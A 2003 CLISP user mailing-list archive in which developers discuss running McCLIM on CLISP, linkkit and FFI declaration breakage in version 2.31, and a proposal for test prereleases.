Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 5 06:32:00 2003 X-Original-Date: Fri, 05 Dec 2003 09:30:57 -0500 >>>>> "Paolo" == Paolo Amoroso writes: Paolo> Raymond Toy writes: >> Do you think clisp could run McCLIM fast enough to be usable? Just Paolo> You bet. Early versions of McCLIM did run on CLISP (only with MIT CLX Paolo> and not NCLX, I seem to remember). Performance was "acceptable" with Paolo> CLISP and "good" with CMUCL under Linux on my old 200 MHz, non-MMX Paolo> Pentium PC with 64 MB of RAM... Oh, good! I don't have to try building it and running it then. This is good! >> curious. McCLIM is pretty slow with cmucl on a 400 MHz sparc box. >> It's pretty slow on a 900 MHz x86 box too. Paolo> ...but now McCLIM just flies on my new 2.8 GHz Pentium IV monster with Paolo> 2 GB of RAM :) The CLIM listener takes around 15 seconds to draw the Paolo> impressive graph generated by the command: Paolo> Show Class Subclasses (class) t That took quite a while on my PC and Sun boxes. Don't remember exactly how long but it was in the minutes. Ray From amoroso@mclink.it Fri Dec 05 08:21:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASIhi-00017E-DW for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 08:21:18 -0800 Received: from mail4.mclink.it ([195.110.128.78]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASIhh-0005ZQ-RP for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 08:21:18 -0800 Received: from net145-054.mclink.it (net145-027.mclink.it [195.110.145.27]) by mail4.mclink.it (8.12.6p2/8.12.3) with ESMTP id hB5GLFqn059600 for ; Fri, 5 Dec 2003 17:21:15 +0100 (CET) (envelope-from amoroso@mclink.it) Received: (qmail 2149 invoked by uid 1000); 5 Dec 2003 15:45:58 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: survey: native compilation/lispworks References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> (Raymond Toy's message of "Fri, 05 Dec 2003 09:30:57 -0500") Message-ID: <873cbzxo7d.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 5 08:22:01 2003 X-Original-Date: Fri, 05 Dec 2003 16:45:58 +0100 Raymond Toy writes: >>>>>> "Paolo" == Paolo Amoroso writes: [...] > Paolo> You bet. Early versions of McCLIM did run on CLISP (only with MIT CLX > Paolo> and not NCLX, I seem to remember). Performance was "acceptable" with > Paolo> CLISP and "good" with CMUCL under Linux on my old 200 MHz, non-MMX > Paolo> Pentium PC with 64 MB of RAM... > > Oh, good! I don't have to try building it and running it then. This > is good! This *was* good. CLISP stopped working with McCLIM when presentations, which are based on the MOP, were added to McCLIM. Paolo -- Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film From sds@alphatech.com Fri Dec 05 08:39:13 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASIz3-0001tF-0N for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 08:39:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASIz2-0002cB-HR for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 08:39:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB5GcoB03206; Fri, 5 Dec 2003 11:38:51 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Paolo Amoroso Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <873cbzxo7d.fsf@plato.moon.paoloamoroso.it> (Paolo Amoroso's message of "Fri, 05 Dec 2003 16:45:58 +0100") References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> <873cbzxo7d.fsf@plato.moon.paoloamoroso.it> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: survey: native compilation/lispworks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 5 08:40:00 2003 X-Original-Date: Fri, 05 Dec 2003 11:38:50 -0500 > * Paolo Amoroso [2003-12-05 16:45:58 +0100]: > > CLISP stopped working with McCLIM when presentations, > which are based on the MOP, were added to McCLIM. what MOP functionality is used? CLISP CLOS is fairly MOPish, maybe a small compatibility layer could help? -- Sam Steingold (http://www.podval.org/~sds) running w2k Computers are like air conditioners: they don't work with open windows! From kaz@footprints.net Fri Dec 05 16:23:26 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASQEH-00029X-Ts for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 16:23:25 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASQEH-00039S-J8 for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 16:23:25 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1ASQEC-0002Qm-00 for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 16:23:20 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Linkkit breakage in 2.31. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 5 16:24:01 2003 X-Original-Date: Fri, 5 Dec 2003 16:23:20 -0800 (PST) It appears that CLISP 2.31 breaks the linkkit interface. Firstly, the ``clisp.h'' header contains: #include "constobj.c" but the install scriptology does not copy this file into the linkkit directory, and so #include "clisp.h" blows up! Secondly, the FFI translator puts out ill-formed C, so even if you work around the first problem you run into others. Namely the C module that is produced from the FFI definitions makes references to function addresses without providing extern declarations for the functions! E.g. (def-call-out rmdir (:language :stdc) (:arguments (path c-string)) (:return-type int)) in the .lisp module turns into register_foreign_function((void *)&rmdir,"rmdir",1024); in the .c file with no prior declaration of rmdir! A good test case for the link kit system is this: download Meta-CVS 1.0.9, unpack it, go to the src directory and type ``./install.sh /usr/local''. :) From sds@gnu.org Fri Dec 05 18:58:32 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASSeO-0001BU-Pm for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 18:58:32 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASSeO-0003l2-Gx for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 18:58:32 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASSeL-0005SP-00; Fri, 05 Dec 2003 21:58:29 -0500 To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Fri, 5 Dec 2003 16:23:20 -0800 (PST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Linkkit breakage in 2.31. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 5 18:59:01 2003 X-Original-Date: Fri, 05 Dec 2003 21:58:27 -0500 > * Kaz Kylheku [2003-12-05 16:23:20 -0800]: > > Firstly, the ``clisp.h'' header contains: > #include "constobj.c" > but the install scriptology does not copy this file into the linkkit > directory, and so #include "clisp.h" blows up! this has been fixed on 2003-09-09. > Secondly, the FFI translator puts out ill-formed C, so even if you > work around the first problem you run into others. see NEWS: * FFI does not output extern variable and function declarations unless you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T. Please use FFI:C-LINES to include the appropriate headers instead. See for details. the rationale is that there is no way to reliably output extern declaration that would be compatible with the system headers (which should be included anyway!), so why not rely the headers instead? -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? From kaz@footprints.net Fri Dec 05 23:44:26 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASX74-00049V-SV for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 23:44:26 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASX74-0001fV-L9 for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 23:44:26 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1ASX71-0007vi-00 for clisp-list@lists.sourceforge.net; Fri, 05 Dec 2003 23:44:23 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Linkkit breakage in 2.31. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 5 23:45:01 2003 X-Original-Date: Fri, 5 Dec 2003 23:44:23 -0800 (PST) On Fri, 5 Dec 2003, Sam Steingold wrote: > > Secondly, the FFI translator puts out ill-formed C, so even if you > > work around the first problem you run into others. > > see NEWS: > > * FFI does not output extern variable and function declarations unless > you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T. > Please use FFI:C-LINES to include the appropriate headers instead. > See for details. > > the rationale is that there is no way to reliably output extern > declaration that would be compatible with the system headers (which > should be included anyway!), so why not rely the headers instead? This is a silly rationale, because all that is done with the declared functions is to take their address and cast it to (void *). The functions are not actually called in the generated C module, so the type signature does not come into question. The declarations, effectively, merely assert the existence of these functions as entry points in the address space. Thus it buys you nothing that the declarations come from a more legitimate source. It would matter in some fictitious C implementation whose function pointers carry type information that is preserved under pointer casts and checked at call time. Moreover, you can include all the right headers, yet completely lie in the DEF-CALL-OUT form to generate an incompatible call. The C compiler won't squawk at all! For error checking, the most useful behavior would be to have both: enable the generation of function declarations *and* use C-LINES to include the headers. This way the FFI-generated declarations could be type checked against the original declarations from the external headers. The C compiler would catch, say, the Lisp side using ``int'' for a mode_t parameter which is typedef'd to ``long'' in the system header. The way it is, the new behavior is just a misfeature that breaks existing projects based on CLISP. Their users cannot independently upgrade CLISP without obtaining fixed versions of these projects. I'm not saying that backward compatibility is some supreme value that must be preserved at any cost, only that it should be broken when there is no other reasonable way to fix some actual problem. From kaz@footprints.net Sat Dec 06 00:12:30 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASXYE-0005FA-3s for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 00:12:30 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASXYD-00047r-Sz for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 00:12:29 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1ASXYD-0008BD-00 for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 00:12:29 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Linkkit breakage in 2.31. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 00:13:01 2003 X-Original-Date: Sat, 6 Dec 2003 00:12:29 -0800 (PST) On Fri, 5 Dec 2003, Sam Steingold wrote: > > but the install scriptology does not copy this file into the linkkit > > directory, and so #include "clisp.h" blows up! > > this has been fixed on 2003-09-09. Maybe it would be a good idea to go through a pre-release stage. CLISP is a big and complex platform project, and you guys can't test everything! Help is needed from the broader community of people who use CLISP. The built-in test suite is very good, but it won't catch peripheral things like this. Of course anyone can get the bleeding edge from CVS at any time, but it's helpful to have an official alpha release program which tells people ``hey, wake up! We think we have something release-worthy here, come and try it''. Before releasing 2.32, how about a 2.31.95 test prerelease, with binaries, tarballs for download, and all that fanfare. If problems are found, you can put out a 2.31.96, and so on. You have all the way up to 2.31.99, which you should never reach. :) When no more problem reports come back from the field, you put out the latest candidate as 2.32. This is for instance how Ulrich Drepper puts out glibc2. Otherwise you are just relying on people who are fetching the latest CVS, who are typically just people who are hacking on CLISP, or are looking to have some particular problem fixed. Test releases are important for people who have dependencies on the project, so they can verify that nothing breaks, but who otherwise don't want to sit there doing ``cvs up'' everyday to rebuild it. Moreover, the test releases are clearly identified, so the third-level users who use applications based on the platform won't bother the application guys to make their stuff work with broken test releases! If a user comes and says ``I can't get FooProver 3.9 to work with CLISP 2.33.93'' the developer can just say ``That's a test release with a known problem affecting FooProver that did not exist in 2.33 and is already fixed in 2.33.94. Stick with 2.33 or wait for 2.34.'' From sds@gnu.org Sat Dec 06 07:47:11 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASeeF-0007p7-1l for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 07:47:11 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASeeE-0007e5-Op for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 07:47:10 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASee9-0004mY-00; Sat, 06 Dec 2003 10:47:05 -0500 To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Fri, 5 Dec 2003 23:44:23 -0800 (PST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Linkkit breakage in 2.31. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 07:48:01 2003 X-Original-Date: Sat, 06 Dec 2003 10:47:04 -0500 > * Kaz Kylheku [2003-12-05 23:44:23 -0800]: > > On Fri, 5 Dec 2003, Sam Steingold wrote: > >> > Secondly, the FFI translator puts out ill-formed C, so even if you >> > work around the first problem you run into others. >> >> see NEWS: >> >> * FFI does not output extern variable and function declarations unless >> you set FFI:*OUTPUT-C-VARIABLES* and/or FFI:*OUTPUT-C-FUNCTIONS* to T. >> Please use FFI:C-LINES to include the appropriate headers instead. >> See for details. >> >> the rationale is that there is no way to reliably output extern >> declaration that would be compatible with the system headers (which >> should be included anyway!), so why not rely the headers instead? > > This is a silly rationale well, people include the headers all the time and complain that CC cannot compile the FFI C code. > For error checking, the most useful behavior would be to have both: > enable the generation of function declarations *and* use C-LINES to > include the headers. This way the FFI-generated declarations could be > type checked against the original declarations from the external headers. > The C compiler would catch, say, the Lisp side using ``int'' for > a mode_t parameter which is typedef'd to ``long'' in the system header. you can enable that too. there have been an extensive discussion on the list on this matter. -- Sam Steingold (http://www.podval.org/~sds) running w2k Old Age Comes at a Bad Time. From sds@gnu.org Sat Dec 06 07:49:13 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASegD-0007tT-Ns for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 07:49:13 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASegD-00088F-CG for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 07:49:13 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASegC-000568-00; Sat, 06 Dec 2003 10:49:12 -0500 To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Sat, 6 Dec 2003 00:12:29 -0800 (PST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Linkkit breakage in 2.31. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 07:50:01 2003 X-Original-Date: Sat, 06 Dec 2003 10:49:11 -0500 > * Kaz Kylheku [2003-12-06 00:12:29 -0800]: > > On Fri, 5 Dec 2003, Sam Steingold wrote: > >> > but the install scriptology does not copy this file into the linkkit >> > directory, and so #include "clisp.h" blows up! >> >> this has been fixed on 2003-09-09. > > Maybe it would be a good idea to go through a pre-release stage. CLISP > is a big and complex platform project, and you guys can't test everything! > Help is needed from the broader community of people who use CLISP. the imminence of a an impending release is announced here. > Before releasing 2.32, how about a 2.31.95 test prerelease, with > binaries, tarballs for download, and all that fanfare. If problems are > found, you can put out a 2.31.96, and so on. You have all the way up > to 2.31.99, which you should never reach. :) When no more problem > reports come back from the field, you put out the latest candidate as > 2.32. this is a great idea! > This is for instance how Ulrich Drepper puts out glibc2. do you volunteer to build all the binaries &c? -- Sam Steingold (http://www.podval.org/~sds) running w2k Profanity is the one language all programmers know best. From dgou@mac.com Sat Dec 06 07:54:34 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASelO-00088u-Ao for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 07:54:34 -0800 Received: from smtpout.mac.com ([17.250.248.45]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ASelO-0000t1-5m for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 07:54:34 -0800 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id hB6FsXAD004750; Sat, 6 Dec 2003 07:54:33 -0800 (PST) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin08/MantshX 3.0) with ESMTP id hB6FsUxO019224; Sat, 6 Dec 2003 07:54:30 -0800 (PST) Subject: Re: [clisp-list] Re: Linkkit breakage in 2.31. Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: Kaz Kylheku To: clisp-list@lists.sourceforge.net From: Douglas Philips In-Reply-To: Message-Id: <7974303C-2804-11D8-AB74-000393030214@mac.com> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 07:55:02 2003 X-Original-Date: Sat, 6 Dec 2003 10:54:29 -0500 >> This is for instance how Ulrich Drepper puts out glibc2. > > do you volunteer to build all the binaries &c? I volunteer to produce the OS X binaries if no one else wants to. Also the Redhat 8 and YellowDog 3 binaries. All this assuming that my hardware doesn't break. BTW: As of the anon-cvs head last night, all three of those (still running Jaguar, haven't upgraded to Panther yet) built and make check'd cleanly. I haven't run my own tests against 'em yet though. ;-) ; Sat, 6 Dec 2003 17:52:11 +0100 (CET) (envelope-from amoroso@mclink.it) Received: (qmail 450 invoked by uid 1000); 6 Dec 2003 15:27:27 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: survey: native compilation/lispworks References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> <873cbzxo7d.fsf@plato.moon.paoloamoroso.it> From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: (Sam Steingold's message of "Fri, 05 Dec 2003 11:38:50 -0500") Message-ID: <87vfouhsps.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 6 08:53:00 2003 X-Original-Date: Sat, 06 Dec 2003 16:27:27 +0100 Sam Steingold writes: >> * Paolo Amoroso [2003-12-05 16:45:58 +0100]: >> >> CLISP stopped working with McCLIM when presentations, >> which are based on the MOP, were added to McCLIM. > > what MOP functionality is used? The short answer is: I don't know :) When presentations were added to McCLIM, I was no longer able to compile it with CLISP. I seem to remember that the use of "metaclasses" was mentioned in this context, and I assumed the code used actual MOP metaclasses (i.e. the :METACLASS option of DEFCLASS). But a superficial inspection of the McCLIM code shows that the metaclass functionality is being recreated in some way. So, CLISP might still be able to run McCLIM with "limited" effort. Disclaimer: I am not familiar with the McCLIM internals. Paolo -- Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film From sds@gnu.org Sat Dec 06 09:00:34 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ASfnG-0002OZ-3r for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 09:00:34 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ASfnF-0002LX-SD for clisp-list@lists.sourceforge.net; Sat, 06 Dec 2003 09:00:33 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1ASfnF-0007SZ-00; Sat, 06 Dec 2003 12:00:33 -0500 To: clisp-list@lists.sourceforge.net, Paolo Amoroso Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87vfouhsps.fsf@plato.moon.paoloamoroso.it> (Paolo Amoroso's message of "Sat, 06 Dec 2003 16:27:27 +0100") References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> <873cbzxo7d.fsf@plato.moon.paoloamoroso.it> <87vfouhsps.fsf@plato.moon.paoloamoroso.it> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by 